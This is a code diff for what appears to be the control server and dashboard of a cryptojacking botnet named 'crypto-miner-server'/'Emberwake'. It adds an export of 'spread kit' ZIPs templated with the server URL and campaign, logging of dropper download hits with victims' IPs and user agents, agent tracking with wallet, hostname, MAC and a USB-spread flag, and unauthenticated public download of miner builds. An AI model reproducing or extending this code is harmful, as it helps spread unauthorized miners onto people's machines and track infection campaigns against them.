|
||||
}
|
||||
|
||||
// POST /api/v1/builder/spread-kit-export
|
||||
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadKitExportRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.BuildID = strings.TrimSpace(req.BuildID)
|
||||
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
||||
req.Campaign = strings.TrimSpace(req.Campaign)
|
||||
if req.ServerURL == "" {
|
||||
http.Error(w, "server_url required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
templateDir := filepath.Join(h.projectRoot, "spread-kit-web-publisher")
|
||||
if _, err := os.Stat(templateDir); err != nil {
|
||||
http.Error(w, "spread-kit-web-publisher templates not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
var qparts []string
|
||||
if req.BuildID != "" {
|
||||
qparts = append(qparts, "pin="+req.BuildID)
|
||||
}
|
||||
if req.Campaign != "" {
|
||||
qparts = append(qparts, "c="+req.Campaign)
|
||||
}
|
||||
querySuffix := ""
|
||||
getQuerySuffix := ""
|
||||
if len(qparts) > 0 {
|
||||
joined := strings.Join(qparts, "&")
|
||||
querySuffix = "?" + joined
|
||||
getQuerySuffix = "&" + joined
|
||||
}
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": req.ServerURL,
|
||||
"{{BUILD_ID}}": req.BuildID,
|
||||
"{{CAMPAIGN}}": req.Campaign,
|
||||
"{{QUERY_SUFFIX}}": querySuffix,
|
||||
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
||||
"{{CAMPAIGN_QUERY}}": querySuffix,
|
||||
"{{PIN_QUERY}}": "",
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
zw := zip.NewWriter(&buf)
|
||||
err := filepath.Walk(templateDir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() {
|
||||
return err
|
||||
}
|
||||
rel, err := filepath.Rel(templateDir, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rel = filepath.ToSlash(rel)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
content := string(data)
|
||||
for k, v := range repl {
|
||||
content = strings.ReplaceAll(content, k, v)
|
||||
}
|
||||
w, err := zw.Create(rel)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = io.WriteString(w, content)
|
||||
return err
|
||||
})
|
||||
if err != nil {
|
||||
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if err := zw.Close(); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
filename := "emberwake-spread-kit.zip"
|
||||
if req.Campaign != "" {
|
||||
filename = "emberwake-" + req.Campaign + ".zip"
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/zip")
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
|
||||
w.Write(buf.Bytes())
|
||||
}
|
||||
|
||||
// PUT /api/v1/builds/{id}/public
|
||||
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
var body struct {
|
||||
Public bool `json:"public"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if err := h.db.SetBuildPublic(id, body.Public); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true, "id": id, "public": body.Public})
|
||||
}
|
||||
@@ -27,6 +27,15 @@ func secureStringEqual(a, b string) bool {
|
||||
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
|
||||
}
|
||||
|
||||
func coalesceStr(vals ...string) string {
|
||||
for _, v := range vals {
|
||||
if strings.TrimSpace(v) != "" {
|
||||
return strings.TrimSpace(v)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// checkDashboardWSToken validates dashboard WS upgrade credentials.
|
||||
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
|
||||
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
|
||||
@@ -566,6 +575,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
BuildID string `json:"build_id"`
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
Campaign string `json:"campaign"`
|
||||
UTM string `json:"utm"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -712,6 +723,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
BuildID: auth.BuildID,
|
||||
WorkerName: workerName,
|
||||
USBSpread: auth.USBSpread,
|
||||
Campaign: coalesceStr(auth.Campaign, auth.UTM),
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
@@ -1405,3 +1417,11 @@ func (h *WSHub) BroadcastServerLog(line string) {
|
||||
Payload: mustMarshal(map[string]string{"line": line}),
|
||||
})
|
||||
}
|
||||
|
||||
// BroadcastEmberwakeNotes pushes shared Emberwake notes to all dashboard clients.
|
||||
func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "emberwake_notes_updated",
|
||||
Payload: mustMarshal(notes),
|
||||
})
|
||||
}
|
||||
|
||||
@@ -43,7 +43,7 @@ func (d *Database) scanAgent(row interface {
|
||||
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
|
||||
&a.BuildID, &a.WorkerName, &usbSpread,
|
||||
&a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign,
|
||||
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
|
||||
)
|
||||
if err != nil {
|
||||
@@ -62,7 +62,7 @@ func (d *Database) scanAgent(row interface {
|
||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
|
||||
build_id, worker_name, usb_spread, gpu_hashrate_15m, gpu_model, gpu_miner_active`
|
||||
build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active`
|
||||
|
||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||
|
||||
175
server/internal/db/campaign.go
Normal file
175
server/internal/db/campaign.go
Normal file
@@ -0,0 +1,175 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// LogCampaignHit records a dropper or public-download fetch with optional campaign tag.
|
||||
func (d *Database) LogCampaignHit(campaign, buildID, source, ip, userAgent string) error {
|
||||
campaign = sanitizeCampaign(campaign)
|
||||
if campaign == "" {
|
||||
return nil
|
||||
}
|
||||
_, err := d.Exec(
|
||||
`INSERT INTO campaign_hits (campaign, build_id, source, ip, user_agent, created_at) VALUES (?, ?, ?, ?, ?, ?)`,
|
||||
campaign, buildID, source, ip, userAgent, time.Now(),
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func sanitizeCampaign(c string) string {
|
||||
c = strings.TrimSpace(c)
|
||||
if len(c) > 64 {
|
||||
c = c[:64]
|
||||
}
|
||||
// Allow alphanumeric, dash, underscore, dot
|
||||
var b strings.Builder
|
||||
for _, r := range c {
|
||||
if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' {
|
||||
b.WriteRune(r)
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// CampaignHitSummary aggregates hits per campaign for the Emberwake dashboard.
|
||||
type CampaignHitSummary struct {
|
||||
Campaign string `json:"campaign"`
|
||||
Count int `json:"count"`
|
||||
LastHit string `json:"last_hit"`
|
||||
}
|
||||
|
||||
func (d *Database) ListCampaignHits(limit int) ([]CampaignHitSummary, error) {
|
||||
if limit <= 0 || limit > 500 {
|
||||
limit = 100
|
||||
}
|
||||
rows, err := d.Query(`
|
||||
SELECT campaign, COUNT(*) AS cnt, MAX(created_at) AS last_hit
|
||||
FROM campaign_hits
|
||||
GROUP BY campaign
|
||||
ORDER BY cnt DESC
|
||||
LIMIT ?`, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []CampaignHitSummary
|
||||
for rows.Next() {
|
||||
var s CampaignHitSummary
|
||||
var lastRaw string
|
||||
if err := rows.Scan(&s.Campaign, &s.Count, &lastRaw); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if t, err := time.Parse("2006-01-02 15:04:05-07:00", lastRaw); err == nil {
|
||||
s.LastHit = t.Format(time.RFC3339)
|
||||
} else if t, err := time.Parse(time.RFC3339, lastRaw); err == nil {
|
||||
s.LastHit = t.Format(time.RFC3339)
|
||||
} else {
|
||||
s.LastHit = lastRaw
|
||||
}
|
||||
out = append(out, s)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// ListPublicBuilds returns builds eligible for unauthenticated download.
|
||||
// When allEnabled, every build is returned; otherwise pinned + public-flagged + latest N.
|
||||
func (d *Database) ListPublicBuilds(allEnabled bool, latestN int) ([]*models.BuildRecord, error) {
|
||||
if allEnabled {
|
||||
return d.ListBuilds(50)
|
||||
}
|
||||
if latestN <= 0 {
|
||||
latestN = 3
|
||||
}
|
||||
|
||||
seen := map[string]bool{}
|
||||
var out []*models.BuildRecord
|
||||
|
||||
add := func(b *models.BuildRecord) {
|
||||
if b == nil || seen[b.ID] {
|
||||
return
|
||||
}
|
||||
seen[b.ID] = true
|
||||
out = append(out, b)
|
||||
}
|
||||
|
||||
// Pinned builds
|
||||
pinnedRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC`)
|
||||
if err == nil {
|
||||
defer pinnedRows.Close()
|
||||
for pinnedRows.Next() {
|
||||
b, err := scanBuild(pinnedRows)
|
||||
if err == nil {
|
||||
add(b)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Operator-marked public
|
||||
publicRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE public = 1 ORDER BY created_at DESC`)
|
||||
if err == nil {
|
||||
defer publicRows.Close()
|
||||
for publicRows.Next() {
|
||||
b, err := scanBuild(publicRows)
|
||||
if err == nil {
|
||||
add(b)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Latest N by created_at
|
||||
latestRows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, latestN)
|
||||
if err == nil {
|
||||
defer latestRows.Close()
|
||||
for latestRows.Next() {
|
||||
b, err := scanBuild(latestRows)
|
||||
if err == nil {
|
||||
add(b)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if out == nil {
|
||||
out = []*models.BuildRecord{}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// IsBuildPubliclyDownloadable checks whether a build may be fetched without auth.
|
||||
func (d *Database) IsBuildPubliclyDownloadable(id string, allEnabled bool, latestN int) (bool, error) {
|
||||
if allEnabled {
|
||||
_, err := d.GetBuild(id)
|
||||
return err == nil, err
|
||||
}
|
||||
builds, err := d.ListPublicBuilds(false, latestN)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
for _, b := range builds {
|
||||
if b.ID == id {
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// SetBuildPublic toggles the operator public flag on a build.
|
||||
func (d *Database) SetBuildPublic(id string, public bool) error {
|
||||
val := 0
|
||||
if public {
|
||||
val = 1
|
||||
}
|
||||
res, err := d.Exec(`UPDATE builds SET public = ? WHERE id = ?`, val, id)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
n, _ := res.RowsAffected()
|
||||
if n == 0 {
|
||||
return fmt.Errorf("build not found: %s", id)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
50
server/internal/db/campaign_test.go
Normal file
50
server/internal/db/campaign_test.go
Normal file
@@ -0,0 +1,50 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestLogCampaignHitAndPublicBuilds(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
defer d.Close()
|
||||
|
||||
if err := d.LogCampaignHit("wave-a", "b1", "get", "10.0.0.1", "curl"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hits, err := d.ListCampaignHits(10)
|
||||
if err != nil || len(hits) != 1 || hits[0].Campaign != "wave-a" {
|
||||
t.Fatalf("hits=%v err=%v", hits, err)
|
||||
}
|
||||
|
||||
b1 := &models.BuildRecord{
|
||||
ID: "b1", WorkerName: "w1", ServerURL: "http://x", Wallet: "w",
|
||||
Threads: 1, Platform: "linux", CreatedAt: time.Now(),
|
||||
}
|
||||
b2 := &models.BuildRecord{
|
||||
ID: "b2", WorkerName: "w2", ServerURL: "http://x", Wallet: "w",
|
||||
Threads: 1, Platform: "windows", CreatedAt: time.Now().Add(time.Second),
|
||||
}
|
||||
_ = d.InsertBuild(b1)
|
||||
_ = d.InsertBuild(b2)
|
||||
_ = d.SetBuildPublic("b1", true)
|
||||
|
||||
pub, err := d.ListPublicBuilds(false, 1)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ids := map[string]bool{}
|
||||
for _, b := range pub {
|
||||
ids[b.ID] = true
|
||||
}
|
||||
if !ids["b1"] || !ids["b2"] {
|
||||
t.Fatalf("expected public b1 and latest b2, got %v", ids)
|
||||
}
|
||||
|
||||
ok, err := d.IsBuildPubliclyDownloadable("b2", false, 1)
|
||||
if err != nil || !ok {
|
||||
t.Fatalf("latest build should be public ok=%v err=%v", ok, err)
|
||||
}
|
||||
}
|
||||
@@ -134,6 +134,8 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN campaign TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`)
|
||||
|
||||
extraMigrations := []string{
|
||||
`CREATE TABLE IF NOT EXISTS audit_log (
|
||||
@@ -164,6 +166,17 @@ func (d *Database) migrate() error {
|
||||
last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
PRIMARY KEY (agent_id, task_id)
|
||||
)`,
|
||||
`CREATE TABLE IF NOT EXISTS campaign_hits (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
campaign TEXT NOT NULL DEFAULT '',
|
||||
build_id TEXT NOT NULL DEFAULT '',
|
||||
source TEXT NOT NULL DEFAULT '',
|
||||
ip TEXT NOT NULL DEFAULT '',
|
||||
user_agent TEXT NOT NULL DEFAULT '',
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_campaign ON campaign_hits(campaign)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_created ON campaign_hits(created_at)`,
|
||||
}
|
||||
for _, m := range extraMigrations {
|
||||
if _, err := d.Exec(m); err != nil {
|
||||
@@ -177,8 +190,8 @@ func (d *Database) migrate() error {
|
||||
// Agent operations
|
||||
|
||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
wallet = excluded.wallet,
|
||||
@@ -195,12 +208,13 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
|
||||
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
|
||||
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
|
||||
usb_spread = excluded.usb_spread`
|
||||
usb_spread = excluded.usb_spread,
|
||||
campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END`
|
||||
usb := 0
|
||||
if a.USBSpread {
|
||||
usb = 1
|
||||
}
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb)
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign)
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -364,7 +378,7 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
|
||||
|
||||
// Build operations
|
||||
|
||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
|
||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned, public`
|
||||
|
||||
func encodeBuildExtraFiles(files []models.BuildExtraFile) string {
|
||||
if len(files) == 0 {
|
||||
@@ -393,11 +407,12 @@ func scanBuild(row interface {
|
||||
Scan(...any) error
|
||||
}) (*models.BuildRecord, error) {
|
||||
b := &models.BuildRecord{}
|
||||
var pinnedInt int
|
||||
var pinnedInt, publicInt int
|
||||
var extraFilesRaw string
|
||||
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
|
||||
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
|
||||
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt, &publicInt)
|
||||
b.Pinned = pinnedInt == 1
|
||||
b.Public = publicInt == 1
|
||||
b.ExtraFiles = decodeBuildExtraFiles(extraFilesRaw)
|
||||
return b, err
|
||||
}
|
||||
|
||||
@@ -37,6 +37,7 @@ type Agent struct {
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
WorkerName string `json:"worker_name,omitempty"`
|
||||
USBSpread bool `json:"usb_spread,omitempty"`
|
||||
Campaign string `json:"campaign,omitempty"`
|
||||
|
||||
// Live connection quality — not persisted, set by WSHub each stats cycle.
|
||||
LatencyMs *int `json:"latency_ms,omitempty"`
|
||||
@@ -159,6 +160,7 @@ type BuildRecord struct {
|
||||
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
Pinned bool `json:"pinned"` // true = this build is served by /get and /install.*
|
||||
Public bool `json:"public"` // true = listed on unauthenticated public builds API
|
||||
// Pool settings
|
||||
PoolHost string `json:"pool_host"`
|
||||
PoolPort int `json:"pool_port"`
|
||||
|
||||
@@ -264,6 +264,16 @@ func main() {
|
||||
return configProvider.PublicURL()
|
||||
})
|
||||
|
||||
publicBuildsCfg := func() api.PublicBuildsConfig {
|
||||
n := cfg.Server.PublicBuildsLatestN
|
||||
if n <= 0 {
|
||||
n = 3
|
||||
}
|
||||
return api.PublicBuildsConfig{Enabled: cfg.Server.PublicBuildsEnabled, LatestN: n}
|
||||
}
|
||||
publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg)
|
||||
spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub)
|
||||
|
||||
// Path Forge: server-side recursive file seeding
|
||||
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
|
||||
|
||||
@@ -275,7 +285,7 @@ func main() {
|
||||
log.Printf("Web root: %s", webRoot)
|
||||
|
||||
// Initialize router
|
||||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
|
||||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
|
||||
return configProvider.PublicURL()
|
||||
}, cfg.Port)
|
||||
log.Println("Router initialized")
|
||||
|
||||
2
server/web/public/audio/.gitkeep
Normal file
2
server/web/public/audio/.gitkeep
Normal file
@@ -0,0 +1,2 @@
|
||||
# Drop your looping ambient track here as ambient.mp3 (MP3 preferred; OGG/WAV also work).
|
||||
# Enable background music in Settings → Sound & Haptics after adding the file.
|
||||
BIN
server/web/public/audio/ambient.mp3
Normal file
BIN
server/web/public/audio/ambient.mp3
Normal file
Binary file not shown.
@@ -4,10 +4,12 @@ import SessionGate from './components/SessionGate';
|
||||
import Layout from './components/Layout/Layout';
|
||||
import { WebSocketProvider } from './context/WebSocketProvider';
|
||||
import { SoundProvider } from './context/SoundContext';
|
||||
import { AmbientMusicProvider } from './context/AmbientMusicContext';
|
||||
import { VisualEffectsProvider } from './context/VisualEffectsContext';
|
||||
import { ForgeProvider } from './context/ForgeContext';
|
||||
import { MatrixRainProvider } from './context/MatrixRainContext';
|
||||
import SoundBridge from './components/Sound/SoundBridge';
|
||||
import GlobalMusicPlayer from './components/GlobalMusicPlayer';
|
||||
|
||||
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
|
||||
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
|
||||
@@ -17,6 +19,7 @@ const SettingsPage = lazy(() => import('./pages/SettingsPage'));
|
||||
const GuidePage = lazy(() => import('./pages/GuidePage'));
|
||||
const CruciblePage = lazy(() => import('./pages/CruciblePage'));
|
||||
const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
|
||||
const EmberwakePage = lazy(() => import('./pages/EmberwakePage'));
|
||||
|
||||
export function PageFallback() {
|
||||
return (
|
||||
@@ -32,8 +35,10 @@ function App() {
|
||||
// No page or component should call new WebSocket() directly — use useWebSocket().
|
||||
<WebSocketProvider>
|
||||
<SoundProvider>
|
||||
<AmbientMusicProvider>
|
||||
<VisualEffectsProvider>
|
||||
<SoundBridge />
|
||||
<GlobalMusicPlayer />
|
||||
<ForgeProvider>
|
||||
<MatrixRainProvider>
|
||||
<SessionGate>
|
||||
@@ -47,6 +52,8 @@ function App() {
|
||||
<Route path="/builder" element={<Navigate to="/forge" replace />} />
|
||||
<Route path="/crucible" element={<CruciblePage />} />
|
||||
<Route path="/builds" element={<BuildManagerPage />} />
|
||||
<Route path="/emberwake" element={<EmberwakePage />} />
|
||||
<Route path="/spread" element={<Navigate to="/emberwake" replace />} />
|
||||
<Route path="/guide" element={<GuidePage />} />
|
||||
<Route path="/settings" element={<SettingsPage />} />
|
||||
<Route path="/pathtracer" element={<PathTracerPage />} />
|
||||
@@ -57,6 +64,7 @@ function App() {
|
||||
</MatrixRainProvider>
|
||||
</ForgeProvider>
|
||||
</VisualEffectsProvider>
|
||||
</AmbientMusicProvider>
|
||||
</SoundProvider>
|
||||
</WebSocketProvider>
|
||||
);
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
|
||||
import { authHeaders, clearStoredAuth } from './auth';
|
||||
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
|
||||
|
||||
@@ -186,6 +186,11 @@ export const api = {
|
||||
fetchJSON<{ ok: boolean }>('/builds/pin', { method: 'DELETE' }),
|
||||
deleteBuild: (buildId: string) =>
|
||||
fetchJSON<{ ok: boolean; deleted_id: string }>(`/builds/${buildId}`, { method: 'DELETE' }),
|
||||
setBuildPublic: (buildId: string, isPublic: boolean) =>
|
||||
fetchJSON<{ ok: boolean; id: string; public: boolean }>(`/builds/${buildId}/public`, {
|
||||
method: 'PUT',
|
||||
body: JSON.stringify({ public: isPublic }),
|
||||
}),
|
||||
|
||||
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
|
||||
buildArtifactUrl: (buildId: string, fileName: string) =>
|
||||
@@ -297,6 +302,40 @@ export const api = {
|
||||
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
|
||||
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
|
||||
|
||||
// Public builds (unauthenticated — used on login page)
|
||||
listPublicBuilds: async (): Promise<PublicBuildsResponse> => {
|
||||
const res = await fetch(`${API_BASE}/public/builds`);
|
||||
if (!res.ok) throw new Error(`Public builds ${res.status}`);
|
||||
return res.json();
|
||||
},
|
||||
|
||||
// Emberwake
|
||||
getEmberwakeNotes: () => fetchJSON<EmberwakeNotes>('/emberwake/notes'),
|
||||
putEmberwakeNotes: (content: string) =>
|
||||
fetchJSON<EmberwakeNotes>('/emberwake/notes', {
|
||||
method: 'PUT',
|
||||
body: JSON.stringify({ content }),
|
||||
}),
|
||||
listCampaignHits: () =>
|
||||
fetchJSON<{ campaigns: CampaignHitSummary[] }>('/emberwake/campaigns'),
|
||||
|
||||
exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => {
|
||||
const res = await fetch(`${API_BASE}/builder/spread-kit-export`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', ...authHeaders() },
|
||||
body: JSON.stringify(req),
|
||||
});
|
||||
if (res.status === 401) clearStoredAuth({ expired: true });
|
||||
if (!res.ok) throw new Error(await res.text());
|
||||
const blob = await res.blob();
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip';
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
// Path Tracer — WireGuard VPN chain sessions
|
||||
startTrace: (agentIds: string[]) =>
|
||||
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
|
||||
|
||||
43
server/web/src/audio/ambientMusic.test.ts
Normal file
43
server/web/src/audio/ambientMusic.test.ts
Normal file
@@ -0,0 +1,43 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { describe, it, expect, beforeEach } from 'vitest';
|
||||
import {
|
||||
AmbientMusicPlayer,
|
||||
loadBgmEnabled,
|
||||
loadBgmVolume,
|
||||
BGM_STORAGE_KEY,
|
||||
BGM_VOLUME_KEY,
|
||||
AMBIENT_MUSIC_SRC,
|
||||
} from './ambientMusic';
|
||||
|
||||
describe('ambientMusic prefs', () => {
|
||||
